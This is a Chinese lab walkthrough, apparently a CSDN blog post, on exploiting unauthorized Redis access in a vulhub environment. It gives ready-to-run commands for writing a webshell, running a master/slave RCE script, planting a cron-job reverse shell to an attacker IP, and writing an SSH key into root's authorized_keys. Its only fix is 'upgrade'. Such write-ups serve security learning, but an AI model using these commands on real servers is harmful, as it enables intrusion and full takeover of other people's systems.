Redis未授权访问

一、漏洞描述

Redis未授权访问 因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据。

1. 导致敏感信息泄露

2. 执行 flushall 可清空所有数据

3. 通过数据备份功能往磁盘写入后门文件(webshell、定时任务)

4. 如果Redis以root身份运行,可以给root账户写入SSH公钥文件,免密码登录

Redis主从复制RCE

在 Reids 4.x 之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实 现一个新的Redis命令,通过c语言编译并加载恶意.so文件,达到代码执行的目的

漏洞的产生条件有以下两点:

(1) Redis绑定在 ip :6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二、影响版本

数据库版本 4.x / 5.x 

三、影响组件

Redis 服务器

四、漏洞判断

端口探测

nmap -v -Pn -p 6379 -sV: 192.168.116.149#-v:显示过程   -Pn:no ping   -sV:版本探测

发现 6379 端口开放,版本为 4.x 存在未授权访问漏洞

五、漏洞利用

靶机ip:192.168.116.149

攻击机ip: 192.168.116.151

1、环境搭建
靶机环境搭建:
安装docker

sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"

 安装docker

sudo apt-get update

sudo apt-get install docker-ce

 安装vulhub

vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose (github.com)

下载这个然后拉去虚拟机解压 

打开环境

docker-compose up -d      

docker-compose ps       

在后台模式下启动和运行一个或多个容器

查看当前运行的容器

攻击机安装 redis-cli 远程连接工具 

wget http://download.redis.io/redis-stable.tar.gz   
tar -zxvf redis-stable.tar.gz    
cd redis-stable      
make        

将 Redis 客户端命令行工具 redis-cli 的可执行文件复制到 /usr/bin/ 目录下,使其成为系统可执行文件之一

cp src/redis-cli /usr/bin/
redis-cli -h

2、写入webshell

连接redis

 写入webshell

config set dir /tmp    
config set dbfilename shell.php
set webshell "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save
#因为靶场没有开启web端口无法直接上传木马文件,所以用写入shell文件的方式添加后门
#写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

查看靶机,发现webshell已经写入了

docker ps        查看ID

docker exec -it ID /bin/bash        到环境里面

3、使用py脚本执行远程命令
安装py脚本

git clone GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

cd redis-rogue-getshell/RedisModulesSDK/exp
make 

./redis-master.py -r 192.168.116.149 -p 6379 -L 192.168.116.151 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
执行命令whoami

 4、写定时任务反弹shell
攻击机开启监听

 因为权限问题我没能利用这个

redis-cli -h 192.168.116.149 -p 6379

set xxx "\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

等待一分钟左右就会收到反弹shell了:
5、写SSH公钥

在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空

进入/root/.ssh目录: 将生成的公钥保存到1.txt:(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt

连接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入):cat 1.txt | redis-cli -h 10.11.45.150 -x set crack


更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):config set dir /root/.ssh

设置上传公钥的备份文件名字为authorized_keys:CONFIG SET dbfilename authorized_keys

保存并退出:

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器:


原文链接:https://blog.csdn.net/weixin_45605352/article/details/118790775

 利用主从复制RCE(Python脚本)也直接看这篇

六、漏洞修复

升级版本

  • 13
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值